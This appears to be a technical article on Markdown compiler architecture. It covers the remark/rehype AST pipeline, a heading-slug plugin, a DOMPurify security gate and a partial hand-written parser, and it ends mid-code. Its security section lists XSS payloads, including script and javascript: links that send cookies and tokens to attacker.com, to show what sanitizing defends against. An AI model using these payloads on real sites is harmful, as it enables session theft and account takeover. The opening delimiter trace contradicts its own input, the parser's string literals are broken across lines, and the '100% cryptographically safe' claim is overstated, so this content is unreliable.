The Compiler Architecture of Markdown: CommonMark Spec, AST Tokenization & In-Browser Transpilation

+---------------------------------------------------------------------------------------------------+
|                        DELIMITER STACK RESOLUTION TRACE: "*Hello World*"                      |
+---------------------------------------------------------------------------------------------------+
|  Step 1: Parse "*" -> Pushes Asterisk Run [Count: 3, CanOpen: true]                             |
|  Step 2: Parse "Hello World" -> Creates TextNode("Hello World")                                   |
|  Step 3: Parse "*" -> Detects Right-Flanking Run [Count: 3, CanClose: true]                     |
|          * Nearest opener has Count: 3.                                                           |
|          * Match Strong (2 asterisks): Opener count -> 1, Closer count -> 1                        |
|            Wraps TextNode in StrongNode("Hello World")                                            |
|          * Remaining 1 asterisk matches Emphasis (1 asterisk): Opener count -> 0, Closer -> 0     |
|            Wraps StrongNode in EmphasisNode(StrongNode("Hello World"))                            |
|  Step 4: Output AST: <em><strong>Hello World</strong></em>                                       |
+---------------------------------------------------------------------------------------------------+

+---------------------------------------------------------------------------------------------------+
|                        THE UNIFIED COMPILER ECOSYSTEM ARCHITECTURE                                |
+---------------------------------------------------------------------------------------------------+
|  Raw Markdown Input: "# Welcome to InnoX"                                                         |
+---------------------------------------------------------------------------------------------------+
                                                  |
                                                  v
+---------------------------------------------------------------------------------------------------+
|  1. Parser (remark-parse): Tokenizes CommonMark into mdast                                        |
+---------------------------------------------------------------------------------------------------+
                                                  |
                                                  v
+---------------------------------------------------------------------------------------------------+
|  2. mdast Syntax Tree:                                                                            |
|  {                                                                                                |
|    "type": "heading",                                                                             |
|    "depth": 1,                                                                                    |
|    "children": [ { "type": "text", "value": "Welcome to InnoX" } ]                                |
|  }                                                                                                |
+---------------------------------------------------------------------------------------------------+
                                                  |
                                                  v
+---------------------------------------------------------------------------------------------------+
|  3. Transformer Pipeline (remark-gfm, remark-math, custom plugins): Tree mutation & enrichment    |
+---------------------------------------------------------------------------------------------------+
                                                  |
                                                  v
+---------------------------------------------------------------------------------------------------+
|  4. Bridge (remark-rehype): Converts mdast (Markdown AST) -> hast (HTML AST)                      |
+---------------------------------------------------------------------------------------------------+
                                                  |
                                                  v
+---------------------------------------------------------------------------------------------------+
|  5. Serializer (rehype-stringify): Outputs Final HTML: "<h1>Welcome to InnoX</h1>"                |
+---------------------------------------------------------------------------------------------------+

import { visit } from 'unist-util-visit';
import { Node } from 'unist';

export function remarkAutoHeadingLinks() {
  return (tree: Node) => {
    visit(tree, 'heading', (node: any) => {
      // Automatically generate a slug ID for every heading in the document!
      const headingText = node.children
        .filter((c: any) => c.type === 'text')
        .map((c: any) => c.value)
        .join('');

      const slug = headingText.toLowerCase().replace(/[^a-z0-9]+/g, '-');
      node.data = node.data || {};
      node.data.hProperties = node.data.hProperties || {};
      node.data.hProperties.id = slug;
    });
  };
}

<!-- Classical Script Injection -->
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>

<!-- Event Handler Image Exploit -->
<img src="invalid-image" onerror="alert(document.domain)">

<!-- Obfuscated javascript: Pseudo-Protocol Link -->
[Click for Free Gift](javascript:fetch('https://attacker.com/leak?auth='+localStorage.token))

<!-- SVG Vector Injection -->
<svg onload="document.location='https://attacker.com/phishing'">

+---------------------------------------------------------------------------------------------------+
|                        MARKDOWN XSS COMPILATION EXPLOIT & DEFENSE GATE                            |
+---------------------------------------------------------------------------------------------------+
|  Attacker Payload: [Click Here](javascript:alert(document.cookie))                                |
+---------------------------------------------------------------------------------------------------+
                                                  |
                                                  v
+---------------------------------------------------------------------------------------------------+
|  Vulnerable Markdown Compiler (Naive innerHTML injection)                                         |
|  * Transpiles to: <a href="javascript:alert(document.cookie)">Click Here</a>                      |
|  * Result: Victim clicks link -> Full Session Hijack & Account Takeover!                          |
+---------------------------------------------------------------------------------------------------+
                                                  vs
+---------------------------------------------------------------------------------------------------+
|  Hardened InnoX Compiler Pipeline (AST Filtering + DOMPurify Tree Walker)                         |
|  * 1. Protocol Whitelisting: Strips non-http/https/mailto schemes -> href is neutralized!         |
|  * 2. DOMPurify Sanitization: Removes dangerous DOM attributes (onerror, onload, onclick).         |
|  * 3. Rel-Attribute Hardening: Automatically injects rel="noopener noreferrer nofollow".           |
|  * Result: 100% Cryptographically Safe HTML Rendered with Zero XSS Attack Surface!                |
+---------------------------------------------------------------------------------------------------+

import DOMPurify from 'dompurify';

export class MarkdownSecurityGate {
  private static readonly SANITIZE_CONFIG = {
    ALLOWED_TAGS: [
      'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
      'p', 'a', 'b', 'strong', 'i', 'em', 'del', 'code', 'pre',
      'ul', 'ol', 'li', 'blockquote', 'hr',
      'table', 'thead', 'tbody', 'tr', 'th', 'td',
      'img', 'span', 'div'
    ],
    ALLOWED_ATTR: ['href', 'src', 'alt', 'title', 'class', 'id', 'target', 'rel'],
    ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z+.-]+(?:[^a-z+.-:]|$))/i,
    ADD_ATTR: ['target', 'rel'],
    FORBID_TAGS: ['script', 'style', 'iframe', 'object', 'embed', 'form'],
    FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover', 'data-*']
  };

  public static sanitizeHtml(rawHtml: string): string {
    // 1. Force secure link relations on all external hyperlinks
    DOMPurify.addHook('afterSanitizeAttributes', (node) => {
      if (node.tagName === 'A' && node.hasAttribute('href')) {
        const href = node.getAttribute('href') || '';
        if (href.startsWith('http://') || href.startsWith('https://')) {
          node.setAttribute('target', '_blank');
          node.setAttribute('rel', 'noopener noreferrer nofollow');
        }
      }
    });

    // 2. Execute deep DOM tree-walker sanitization
    return DOMPurify.sanitize(rawHtml, this.SANITIZE_CONFIG);
  }
}

+---------------------------------------------------------------------------------------------------+
|                        REAL-TIME MARKDOWN EDITOR COMPUTATIONAL PIPELINE                           |
+---------------------------------------------------------------------------------------------------+
|  User Keystroke in Editor Pane (Web Worker Dispatch)                                              |
+---------------------------------------------------------------------------------------------------+
                                                  |
                                                  v
+---------------------------------------------------------------------------------------------------+
|  Offscreen Compilation (Web Worker):                                                              |
|  * Transpiles Markdown -> CommonMark AST -> HTML off the main UI thread.                          |
|  * Main thread remains at silky 120 FPS; zero input latency.                                      |
+---------------------------------------------------------------------------------------------------+
                                                  |
                                                  v
+---------------------------------------------------------------------------------------------------+
|  DOM Morphing / Virtual DOM Diffing (morphdom / React VDOM):                                      |
|  * Compares new HTML AST against active Preview DOM.                                              |
|  * Mutates ONLY the specific text nodes that changed; zero image flickering!                      |
+---------------------------------------------------------------------------------------------------+
                                                  |
                                                  v
+---------------------------------------------------------------------------------------------------+
|  Synchronized Heading-Anchor Proportional Scroll Mapping:                                         |
|  * Maps line numbers in editor to matching source line attributes in HTML preview nodes.          |
|  * Interpolates scroll offsets between bounding box anchors with sub-pixel smoothness.             |
+---------------------------------------------------------------------------------------------------+

<h1 data-source-line="1">Heading Title</h1>
<p data-source-line="3">Paragraph content starts on line 3...</p>
<pre data-source-line="7"><code>const x = 10;</code></pre>

export interface AstNode {
  type: string;
  value?: string;
  depth?: number;
  children?: AstNode[];
  properties?: Record<string, any>;
}

export class InnoXMarkdownCompiler {
  /**
   * Compiles raw Markdown source into an Abstract Syntax Tree (AST).
   */
  public static parseToAst(markdown: string): AstNode {
    const lines = markdown.replace(/
/g, '
').split('
');
    const root: AstNode = { type: 'root', children: [] };
    let i = 0;

    while (i < lines.length) {
      const line = lines[i];

      // 1. ATX Headings (# Heading)
      const headingMatch = line.match(/^(#{1,6})\s+(.*)$/);
      if (headingMatch) {
        root.children!.push({
          type: 'heading',
          depth: headingMatch[1].length,
          children: this.parseInlines(headingMatch[2])
        });
        i++;
        continue;
      }

      // 2. Fenced Code Blocks (